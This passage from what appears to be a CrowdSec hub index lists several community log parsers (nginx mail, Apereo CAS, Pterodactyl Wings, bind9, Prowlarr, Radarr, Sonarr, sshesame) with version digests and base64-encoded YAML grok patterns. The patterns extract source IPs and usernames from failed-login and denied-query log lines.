iAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5kZXN0X2lwIgogIC0gbWV0YTogZGVzdF9wb3J0CiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5kZXN0X3BvcnQiCg==", "description": "Parse Nginx Mail logs", "author": "hitech95", "labels": null }, "jusabatier/apereo-cas-audit-logs": { "path": "parsers/s01-parse/jusabatier/apereo-cas-audit-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "af0a0f7f973f2e7234b8b1866c3f4182e0b8945eedcf2dee2d0556a5aab87b6c", "deprecated": false }, "0.2": { "digest": "a8c04c2fd8c3c0980a0aec849bcc044c1140ca971a03cf606742228a584a49fa", "deprecated": false } }, "long_description": "VXNlIEFwZXJlbyBDQVMgYXVkaXQgbG9ncyA6IGh0dHBzOi8vYXBlcmVvLmdpdGh1Yi5pby9jYXMvNi40LngvYXVkaXRzL0F1ZGl0cy1GaWxlLmh0bWwKCk5lZWQgdG8gOiAKKiBhdGl2YXRlIGBjYXMuYXVkaXQuc2xmNGoudXNlLXNpbmdsZS1saW5lPXRydWVgIGluIENBUyBjb25maWd1cmF0aW9uCiogYWRkIGNhc19hdWRpdC5sb2cgZ2VuZXJhdGVkIGZpbGUgdG8gQ3Jvd2RTZWMgYXF1aXNpdGlvbnMKClNhbXBsZSBsb2c0aiBjb25maWcgOiAKCmBgYHhtbApbLi4uXQogICAgICAgIDxSb2xsaW5nRmlsZSBuYW1lPSJhdWRpdGxvZ2ZpbGUiIGZpbGVOYW1lPSIke2Jhc2VEaXJ9L2Nhc19hdWRpdC5sb2ciIGFwcGVuZD0idHJ1ZSIKICAgICAgICAgICAgICAgICAgICAgZmlsZVBhdHRlcm49IiR7YmFzZURpcn0vY2FzX2F1ZGl0LSVke3l5eXktTU0tZGQtSEh9LSVpLmxvZyI+CiAgICAgICAgICAgIDxQYXR0ZXJuTGF5b3V0IHBhdHRlcm49IiVkICVwIFslY10gLSAlbSVuIi8+CiAgICAgICAgICAgIDxQb2xpY2llcz4KICAgICAgICAgICAgICAgIDxPblN0YXJ0dXBUcmlnZ2VyaW5nUG9saWN5IC8+CiAgICAgICAgICAgICAgICA8U2l6ZUJhc2VkVHJpZ2dlcmluZ1BvbGljeSBzaXplPSIxMCBNQiIvPgogICAgICAgICAgICAgICAgPFRpbWVCYXNlZFRyaWdnZXJpbmdQb2xpY3kgLz4KICAgICAgICAgICAgPC9Qb2xpY2llcz4KICAgICAgICA8L1JvbGxpbmdGaWxlPgoKICAgICAgICA8Q2FzQXBwZW5kZXIgbmFtZT0iY2FzQXVkaXQiPgogICAgICAgICAgICA8QXBwZW5kZXJSZWYgcmVmPSJhdWRpdGxvZ2ZpbGUiIC8+CiAgICAgICAgPC9DYXNBcHBlbmRlcj4KWy4uLl0KICAgICAgICA8QXN5bmNMb2dnZXIgbmFtZT0ib3JnLmFwZXJlby5pbnNwZWt0ci5hdWRpdC5zdXBwb3J0IiBsZXZlbD0iaW5mbyIgaW5jbHVkZUxvY2F0aW9uPSJ0cnVlIiA+CiAgICAgICAgICAgIDxBcHBlbmRlclJlZiByZWY9ImNhc0F1ZGl0Ii8+CiAgICAgICAgPC9Bc3luY0xvZ2dlcj4KWy4uLl0KYGBgCg==", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogdHJ1ZQpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ2NhcyciCm5hbWU6IGp1c2FiYXRpZXIvYXBlcmVvLWNhcy1hdWRpdC1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgYXBlcmVvIENBUyBBdWRpdHMgbG9ncyIKcGF0dGVybl9zeW50YXg6CiMgVGhlIElQIGdyb2sgcGF0dGVybiB0aGF0IHNoaXBzIHdpdGggY3Jvd2RzZWMgaXMgYnVnZ3kgYW5kIGRvZXMgbm90IGNhcHR1cmUgdGhlIGxhc3QgZGlnaXQgb2YgYW4gSVAgaWYgaXQgaXMgdGhlIGxhc3QgdGhpbmcgaXQgbWF0Y2hlcywgYW5kIHRoZSBsYXN0IG9jdGV0IHN0YXJ0cyB3aXRoIGEgMgojIGh0dHBzOi8vZ2l0aHViLmNvbS9jcm93ZHNlY3VyaXR5L2Nyb3dkc2VjL2lzc3Vlcy85MzgKICBJUHY0X1dPUktBUk9VTkQ6ICg/Oig/OjI1WzAtNV18MlswLTRdWzAtOV18WzAxXT9bMC05XVswLTldPylcLil7M30oPzoyNVswLTVdfDJbMC00XVswLTldfFswMV0/WzAtOV1bMC05XT8pCiAgSVBfV09SS0FST1VORDogKD86JXtJUFY2fXwle0lQdjRfV09SS0FST1VORH0pCiAgU0VDT05EX1dPUktBUk9VTkQ6ICcoPzpbMC01XT9bMC05XXw2MCk/JwogIFRJTUVTVEFNUF9XT1JLQVJPVU5EOiAnJXtZRUFSfS0le01PTlRITlVNfS0le01PTlRIREFZfVtUIF0le0hPVVJ9Oj8le01JTlVURX0oPzo6PyV7U0VDT05EX1dPUktBUk9VTkR9KT8le0lTTzg2MDFfVElNRVpPTkV9PycKICBDQVNfQVVUSF9GQUlMOiAnXiV7VElNRVNUQU1QX1dPUktBUk9VTkQ6dGltZX0oPzosXGQrKT8gJXtMT0dMRVZFTDpsb2dsZXZlbH0gXFsle0RBVEE6dGhyZWFkbmFtZX1cXSAtICguKilcfENBU1x8KC4qKVx8QVVUSEVOVElDQVRJT05fRkFJTEVEXHwle1VTRVJOQU1FOmNhc19pbnZhbGlkX3VzZXJ9XHwle0lQX1dPUktBUk9VTkQ6Y2FzX2NsaWVudF9pcH1cfCguKikkJwpub2RlczoKICAtIGdyb2s6IAogICAgICBuYW1lOiAiQ0FTX0FVVEhfRkFJTCIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogY2FzX2ZhaWxlZC1hdXRoCiAgICAgICAgLSBtZXRhOiB0YXJnZXRfdXNlcgogICAgICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuY2FzX2ludmFsaWRfdXNlciIKICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZQpzdGF0aWNzOgogICAgLSBtZXRhOiBzZXJ2aWNlCiAgICAgIHZhbHVlOiBjYXMKICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLmNhc19jbGllbnRfaXAiCg==", "description": "Parse apereo CAS Audits logs", "author": "jusabatier", "labels": null }, "lourys/pterodactyl-wings-logs": { "path": "parsers/s01-parse/lourys/pterodactyl-wings-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "cf8d159aaa3091b95c9bfe97ef942a2742c65b303c101c2822d5bcfefabda19b", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBwdGVyb2RhY3R5bCB3aW5ncyBsb2dzIChwYXJzZSBvbmx5IGZhaWxlZCBhdXRoZW50aWNhdGlvbiBsb2dzIGZvciB0aGUgbW9tZW50KS4=", "content": "bmFtZTogbG91cnlzL3B0ZXJvZGFjdHlsLXdpbmdzLWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBQdGVyb2RhY3R5bCB3aW5ncyBsb2dzIgpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ3B0ZXJvZGFjdHlsJyIKZGVidWc6IGZhbHNlCm9uc3VjY2VzczogbmV4dF9zdGFnZQpub2RlczoKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICdeV0FSTjogXFsle0RBVEE6dGltZX1cXSBmYWlsZWQgdG8gdmFsaWRhdGUgdXNlciBjcmVkZW50aWFscyBcKGludmFsaWQgZm9ybWF0XCkgaXA9JXtJUE9SSE9TVDpzb3VyY2VfaXB9OiV7TlVNQkVSOnNvdXJjZV9wb3J0fSBzdWJzeXN0ZW09c2Z0cCB1c2VybmFtZT0le1VTRVJOQU1FOnVzZXJuYW1lfSQnCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IHB0ZXJvZGFjdGx5X3dpbmdzX2ludmFsaWRfZm9ybWF0CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnXldBUk46IFxbJXtEQVRBOnRpbWV9XF0gZmFpbGVkIHRvIHZhbGlkYXRlIHVzZXIgY3JlZGVudGlhbHMgXChpbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkXCkgaXA9JXtJUE9SSE9TVDpzb3VyY2VfaXB9OiV7TlVNQkVSOnNvdXJjZV9wb3J0fSBzdWJzeXN0ZW09c2Z0cCB1c2VybmFtZT0le1VTRVJOQU1FOnVzZXJuYW1lfSQnCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IHB0ZXJvZGFjdGx5X3dpbmdzX2ludmFsaWRfdXNlcm5hbWVfb3JfcGFzc3dvcmQKc3RhdGljczoKICAgIC0gbWV0YTogc2VydmljZQogICAgICB2YWx1ZTogcHRlcm9kYWN0eWwKICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuc291cmNlX2lwCiAgICAtIG1ldGE6IHRhcmdldF91c2VyCiAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudXNlcm5hbWUKICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWU=", "description": "Parse Pterodactyl wings logs", "author": "lourys", "labels": null }, "mstilkerich/bind9-logs": { "path": "parsers/s01-parse/mstilkerich/bind9-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "dac58be63dd386df2c4e46b20ded0b98e66195a102c63d6a7e6cbcb2bfef276c", "deprecated": false }, "0.2": { "digest": "34dd8aa4788b9a05bfeb42ba70c279e042bb4b63fd8184e05081bc2adb818bff", "deprecated": false } }, "long_description": "VGhpcyBiaW5kOSBwYXJzZXIgc3VwcG9ydHMgbG9ncyBpbiBzZXBhcmF0ZSBiaW5kOSBsb2cgZmlsZXMgYXMgd2VsbCBhcyBzeXNsb2cKZW50cmllcy4gV2hlbiBsb2dnaW5nIHRvIHNlcGFyYXRlIGJpbmQ5IGxvZyBmaWxlcyBkaXJlY3RseSB3aXRoIGJpbmQ5LCB0aGUKYHByaW50LXRpbWVgIHNldHRpbmcgc2hvdWxkIGJlIGVuYWJsZWQsIG90aGVyd2lzZSBubyB0aW1lc3RhbXAgd2lsbCBiZQphdmFpbGFibGUuCgpUaGlzIHBhcnNlciBjdXJyZW50bHkgZGV0ZWN0cyB0aGUgZm9sbG93aW5nIHNlY3VyaXR5IGV2ZW50cyBvZiBiaW5kOToKIC0gWm9uZSB0cmFuc2ZlciByZXF1ZXN0IGRlbmllZCBieSBzZWN1cml0eSBwb2xpY3kKIC0gUXVlcmllcyBkZW5pZWQgYnkgc2VjdXJpdHkgcG9saWN5CgpUbyBjb25maWd1cmUgZGF0YSBhY3F1aXNpdGlvbiBmcm9tIGEgYmluZDkgbG9nIGZpbGUsIHNldCB0aGUgYHR5cGVgIHRvIGBuYW1lZGA6CmBgYHlhbWwKLS0tCmZpbGVuYW1lczoKICAtIC92YXIvbG9nL25hbWVkL3NlY3VyaXR5LmxvZwpsYWJlbHM6CiAgdHlwZTogbmFtZWQKYGBgCgpJbnNwaXJlZCBieSBmYWlsMmJhbiBuYW1lZC1yZWZ1c2VkLgo=", "content": "LS0tCmZpbHRlcjogIlVwcGVyKGV2dC5QYXJzZWQucHJvZ3JhbSkgPT0gJ05BTUVEJyIKI2RlYnVnOiB0cnVlCm9uc3VjY2VzczogbmV4dF9zdGFnZQpwYXR0ZXJuX3N5bnRheDoKICBCSU5EOV9USU1FU1RBTVBfREFURTogJyV7TU9OVEhEQVk6dHNfZH0tJXtNT05USDp0c19tfS0le1lFQVI6dHNfeX0nCiAgQklORDlfVElNRVNUQU1QX1RJTUVNUzogJ1xkezN9JwogIEJJTkQ5X1RJTUVTVEFNUF9USU1FOiAnJXtUSU1FOnRzX3R9XC4le0JJTkQ5X1RJTUVTVEFNUF9USU1FTVM6dHNfbXN9JwogIEJJTkQ5X1RJTUVTVEFNUDogJyV7QklORDlfVElNRVNUQU1QX0RBVEV9ICV7QklORDlfVElNRVNUQU1QX1RJTUV9JwogICMgY2F0ZWdvcmllczogc2VjdXJpdHksIGNsaWVudCwgdXBkYXRlLXNlY3VyaXR5LCBldGMuCiAgQklORDlfQ0FURUdPUlk6ICdbYS16XSsnCiAgQklORDlfU0VWRVJJVFk6ICdbYS16XSsnCiAgQklORDlfUFJFRklYOiAnXigle0JJTkQ5X1RJTUVTVEFNUDp0aW1lc3RhbXB9ICk/KCV7QklORDlfQ0FURUdPUll9OiApPygle0JJTkQ5X1NFVkVSSVRZfTogKT9jbGllbnQgQDB4WzAtOWEtZkEtRl0rICV7SVA6cmVtb3RlX2FkZHJ9IyV7UE9TSU5UOnJlbW90ZV9wb3J0fS4qOiAnCm5hbWU6IG1zdGlsa2VyaWNoL2JpbmQ5CmRlc2NyaXB0aW9uOiAiUGFyc2UgYmluZDkgbG9ncyIKbm9kZXM6CiAgIyBXaGVuIG11bHRpcGxlIGdyb2sgcGF0dGVybnMgYXJlIHNwZWNpZmllZCwgb25seSB0aGUgZmlyc3QgbWF0Y2hpbmcgb25lIGlzIGFwcGxpZWQKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICdeJXtCSU5EOV9QUkVGSVh9em9uZSB0cmFuc2ZlciAuKiAoPzpkZW5pZWR8XChOT1RBVVRIXCkpXHMqJCcKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICdeJXtCSU5EOV9QUkVGSVh9YmFkIHpvbmUgdHJhbnNmZXIgcmVxdWVzdDogJydcUysvSU4nJzogbm9uLWF1dGhvcml0YXRpdmUgem9uZSAoPzpkZW5pZWR8XChOT1RBVVRIXCkpXHMqJCcKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICdeJXtCSU5EOV9QUkVGSVh9KD86dmlldyAoPzppbnRlcm5hbHxleHRlcm5hbCk6ICk/cXVlcnkoPzogXChjYWNoZVwpKT8gLiogKD86ZGVuaWVkfFwoTk9UQVVUSFwpKVxzKiQnCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCnN0YXRpY3M6CiAgLSBtZXRhOiBzZXJ2aWNlCiAgICB2YWx1ZTogYmluZDkKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogYmluZDlfZGVuaWVkCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnJlbW90ZV9hZGRyIgogIC0gdGFyZ2V0OiBldnQuU3RyVGltZSAgIyBjb252ZXJ0IHRpbWUgZm9ybWF0IGZvciBkYXRlcGFyc2UtZW5yaWNoCiAgICBleHByZXNzaW9uOiAiCiAgICAgIHtKYW46JzAxJyxGZWI6JzAyJyxNYXI6JzAzJyxBcHI6JzA0JyxNYXk6JzA1JyxKdW46JzA2JyxKdWw6JzA3JyxBdWc6JzA4JyxTZXA6JzA5JyxPY3Q6JzEwJyxOb3Y6JzExJyxEZWM6JzEyJ31bZXZ0LlBhcnNlZC50c19tXQogICAgICArICcvJyArIGV2dC5QYXJzZWQudHNfZAogICAgICArICcvJyArIGV2dC5QYXJzZWQudHNfeQogICAgICArICcgJyArIGV2dC5QYXJzZWQudHNfdCIK", "description": "Parse bind9 logs", "author": "mstilkerich", "labels": null }, "schiz0phr3ne/prowlarr-logs": { "path": "parsers/s01-parse/schiz0phr3ne/prowlarr-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "d061ec42abfa9633d082cd0a6a08ceef88b2cc623f316209b96de202d7cc9f3f", "deprecated": false }, "0.2": { "digest": "1241ce93797a175bb42dcd08f1b01e3fe68342f25a9f7ba769f0cf4c223ec6ae", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbUHJvd2xhcnJdKGh0dHBzOi8vZ2l0aHViLmNvbS9Qcm93bGFyci9Qcm93bGFycikgTG9ncy4KCmBgYHlhbWwKLS0tCnNvdXJjZTogZmlsZQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL3N5c2xvZwpsYWJlbHM6CiAgdHlwZTogc3lzbG9nCi0tLQpzb3VyY2U6IGZpbGUKZmlsZW5hbWVzOgogLSAvdmFyL2xvZy9wcm93bGFyci50eHQKbGFiZWxzOgogIHR5cGU6IFByb3dsYXJyCmBgYAo=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnUHJvd2xhcnInIgpuYW1lOiBzY2hpejBwaHIzbmUvcHJvd2xhcnItbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIFByb3dsYXJyIExvZ3MiCnBhdHRlcm5fc3ludGF4OgogIERBVEVfWU1EOiAiJXtZRUFSOnllYXJ9LSV7TU9OVEhOVU06bW9udGh9LSV7TU9OVEhEQVk6ZGF5fSIKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnXlxbV2FyblxdIEF1dGg6IEF1dGgtRmFpbHVyZSBpcCAle0lQOnNvdXJjZV9pcH0gdXNlcm5hbWUgJXtEQVRBOnVzZXJuYW1lfSQnCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAiJXtEQVRFX1lNRDpkYXRlfSAle1RJTUU6dGltZX1cXHwle1dPUkQ6bG9nX2xldmVsfVxcfEF1dGhcXHxBdXRoLUZhaWx1cmUgaXAgJXtJUE9SSE9TVDpzb3VyY2VfaXB9IHVzZXJuYW1lICcle05PVERRVU9URTp1c2VybmFtZX0nIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gdGFyZ2V0OiBldnQuUGFyc2VkLnRpbWVzdGFtcAogICAgICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuZGF0ZSArICcgJyArIGV2dC5QYXJzZWQudGltZSIKICAgIG9uc3VjY2VzczogbmV4dF9zdGFnZQpzdGF0aWNzOgogICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICB2YWx1ZTogcHJvd2xhcnJfZmFpbGVkX2F1dGhlbnRpY2F0aW9uCiAgICAtIG1ldGE6IHNlcnZpY2UKICAgICAgdmFsdWU6IHByb3dsYXJyCiAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zb3VyY2VfaXAiCiAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudGltZXN0YW1wIgogICAgLSBtZXRhOiB1c2VybmFtZQogICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnVzZXJuYW1lCg==", "description": "Parse Prowlarr Logs", "author": "schiz0phr3ne", "labels": null }, "schiz0phr3ne/radarr-logs": { "path": "parsers/s01-parse/schiz0phr3ne/radarr-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "0d9d4cb7e4a592ec3e56e89cb7fe97b22390d011c4b86ac85affd2db491049b0", "deprecated": false }, "0.2": { "digest": "4bf7eb011ade9f74946a10dd8faeb8b78b96af92908fe2d6922f58f8a465991f", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbUmFkYXJyXShodHRwczovL2dpdGh1Yi5jb20vUmFkYXJyL1JhZGFycikgTG9ncy4KCmBgYHlhbWwKLS0tCnNvdXJjZTogZmlsZQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL3N5c2xvZwpsYWJlbHM6CiAgdHlwZTogc3lzbG9nCi0tLQpzb3VyY2U6IGZpbGUKZmlsZW5hbWVzOgogLSAvdmFyL2xvZy9yYWRhcnIudHh0CmxhYmVsczoKICB0eXBlOiBSYWRhcnIKYGBgCg==", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnUmFkYXJyJyIKbmFtZTogc2NoaXowcGhyM25lL3JhZGFyci1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgUmFkYXJyIExvZ3MiCnBhdHRlcm5fc3ludGF4OgogIERBVEVfWU1EOiAiJXtZRUFSOnllYXJ9LSV7TU9OVEhOVU06bW9udGh9LSV7TU9OVEhEQVk6ZGF5fSIKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnXlxbV2FyblxdIEF1dGg6IEF1dGgtRmFpbHVyZSBpcCAle0lQOnNvdXJjZV9pcH0gdXNlcm5hbWUgJXtEQVRBOnVzZXJuYW1lfSQnCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICBvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICIle0RBVEVfWU1EOmRhdGV9ICV7VElNRTp0aW1lfVxcfCV7V09SRDpsb2dfbGV2ZWx9XFx8QXV0aFxcfEF1dGgtRmFpbHVyZSBpcCAle0lQT1JIT1NUOnNvdXJjZV9pcH0gdXNlcm5hbWUgJyV7Tk9URFFVT1RFOnVzZXJuYW1lfSciCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSB0YXJnZXQ6IGV2dC5QYXJzZWQudGltZXN0YW1wCiAgICAgICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5kYXRlICsgJyAnICsgZXZ0LlBhcnNlZC50aW1lIgogICAgb25zdWNjZXNzOiBuZXh0X3N0YWdlCgpzdGF0aWNzOgogICAgLSBtZXRhOiBzZXJ2aWNlCiAgICAgIHZhbHVlOiByYWRhcnIKICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV9pcCIKICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC50aW1lc3RhbXAiCiAgICAtIG1ldGE6IHVzZXJuYW1lCiAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudXNlcm5hbWUKICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgdmFsdWU6IHJhZGFycl9mYWlsZWRfYXV0aGVudGljYXRpb24K", "description": "Parse Radarr Logs", "author": "schiz0phr3ne", "labels": null }, "schiz0phr3ne/sonarr-logs": { "path": "parsers/s01-parse/schiz0phr3ne/sonarr-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "457e4e03b538b3f3a5ca4aadb3d26c695a6857c7ddbdae5d31dea87c164bdc67", "deprecated": false }, "0.2": { "digest": "0ad020fa5caa6d7601fc2ceb54d68cc6d3caa31fdfab18158579c0da7a46a1ee", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbU29uYXJyXShodHRwczovL2dpdGh1Yi5jb20vU29uYXJyL1NvbmFycikgTG9ncy4KCmBgYHlhbWwKLS0tCnNvdXJjZTogZmlsZQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL3N5c2xvZwpsYWJlbHM6CiAgdHlwZTogc3lzbG9nCi0tLQpzb3VyY2U6IGZpbGUKZmlsZW5hbWVzOgogLSAvdmFyL2xvZy9zb25hcnIudHh0CmxhYmVsczoKICB0eXBlOiBTb25hcnIKYGBgCg==", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSBpbiBbJ21vbm8nLCAnU29uYXJyJ10iCm5hbWU6IHNjaGl6MHBocjNuZS9zb25hcnItbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIFNvbmFyciBMb2dzIgpwYXR0ZXJuX3N5bnRheDoKICBEQVRFX1lNRDogIiV7WUVBUjp5ZWFyfS0le01PTlRITlVNOm1vbnRofS0le01PTlRIREFZOmRheX0iCm5vZGVzOgogIC0gZ3JvazoKICAgICAgcGF0dGVybjogJ15cW1dhcm5cXSBBdXRoOiBBdXRoLUZhaWx1cmUgaXAgJXtJUDpzb3VyY2VfaXB9IHVzZXJuYW1lICV7REFUQTp1c2VybmFtZX0kJwogICAgICBhcHBseV9vbjogbWVzc2FnZQogIC0gZ3JvazoKICAgICAgcGF0dGVybjogIiV7REFURV9ZTUQ6ZGF0ZX0gJXtUSU1FOnRpbWV9XFx8JXtXT1JEOmxvZ19sZXZlbH1cXHxBdXRoXFx8QXV0aC1GYWlsdXJlIGlwICV7SVBPUkhPU1Q6c291cmNlX2lwfSB1c2VybmFtZSAnJXtOT1REUVVPVEU6dXNlcm5hbWV9JyIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIHRhcmdldDogZXZ0LlBhcnNlZC50aW1lc3RhbXAKICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLmRhdGUgKyAnICcgKyBldnQuUGFyc2VkLnRpbWUiCiAgICBvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKCnN0YXRpY3M6CiAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgIHZhbHVlOiBzb25hcnJfZmFpbGVkX2F1dGhlbnRpY2F0aW9uCiAgICAtIG1ldGE6IHNlcnZpY2UKICAgICAgdmFsdWU6IHNvbmFycgogICAgLSBtZXRhOiBzb3VyY2VfaXAKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc291cmNlX2lwIgogICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnRpbWVzdGFtcCIKICAgIC0gbWV0YTogdXNlcm5hbWUKICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC51c2VybmFtZQo=", "description": "Parse Sonarr Logs", "author": "schiz0phr3ne", "labels": null }, "thespad/sshesame-logs": { "path": "parsers/s01-parse/thespad/sshesame-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "7c778f2e6a003de5859de6bbbc91d549c7225c7e4b0b8c229f4e2ce7fecf088a", "deprecated": false }, "0.2": { "digest": "4e0cb478023fc6bed1f04be0d8615f98446c1bb8f16680113af661f1d13ac953", "deprecated": false } }, "long_description": "IyBzc2hlc2FtZSBwYXJzZXIKCkEgcGFyc2VyIGZvciBbc3NoZXNhbWVdKGh0dHBzOi8vZ2l0aHViLmNvbS9qYWtzaS9zc2hlc2FtZS8pIGhvbmV5cG90IGxvZ3MuCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cvc3NoZXNhbWUubG9nCmxhYmVsczoKICB0eXBlOiBzc2hlc2FtZQpgYGAK", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnc3NoZXNhbWUnIgpuYW1lOiB0aGVzcGFkL3NzaGVzYW1lLWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBzc2hlc2FtZSBsb2dzIgpwYXR0ZXJuX3N5bnRheDoKICBTU0hFU0FNRV9USU1FU1RBTVA6ICcle0RBVEVfWH0gJXtUSU1FfScKICBTU0hFU0FNRV9MT0dJTl9QQVNTV0Q6ICcle1NTSEVTQU1FX1RJTUVTVEFNUDp0aW1lc3RhbXB9IFxbJXtJUDpzb3VyY2VfaXB9OlxkK1xdIGF1dGhlbnRpY2F0aW9uIGZvciB1c2VyICIle1VTRVJOQU1FOnNzaGVzYW1lX3VzZXJ9IiB3aXRoIHBhc3N3b3JkICIle0dSRUVEWURBVEE6c3NoZXNhbWVfcGFzc3dvcmR9IiBhY2NlcHRlZCcKICBTU0hFU0FNRV9MT0dJTl9QVUJLRVk6ICcle1NTSEVTQU1FX1RJTUVTVEFNUDp0aW1lc3RhbXB9IFxbJXtJUDpzb3VyY2VfaXB9OlxkK1xdIGF1dGhlbnRpY2F0aW9uIGZvciB1c2VyICIle1VTRVJOQU1FOnNzaGVzYW1lX3VzZXJ9IiB3aXRoIHB1YmxpYyBrZXkgIiV7R1JFRURZREFUQTpzc2hlc2FtZV9wdWJrZXl9IiBhY2NlcHRlZCcKICBTU0hFU0FNRV9DTUQ6ICcle1NTSEVTQU1FX1RJTUVTVEFNUDp0aW1lc3RhbXB9IFxbJXtJUDpzb3VyY2VfaXB9OlxkK1xdIFxbY2hhbm5lbCBcZCtcXSBjb21tYW5kICIle0dSRUVEWURBVEE6c3NoZXNhbWVfY21kfSIgcmVxdWVzdGVkJwogIFNTSEVTQU1FX0lOUFVUOiAnJXtTU0hFU0FNRV9USU1FU1RBTVA6dGltZXN0YW1wfSBcWyV7SVA6c291cmNlX2lwfTpcZCtcXSBcW2NoYW5uZWwgXGQrXF0gaW5wdXQ6ICIle0dSRUVEWURBVEE6c3NoZXNhbWVfaW5wdXR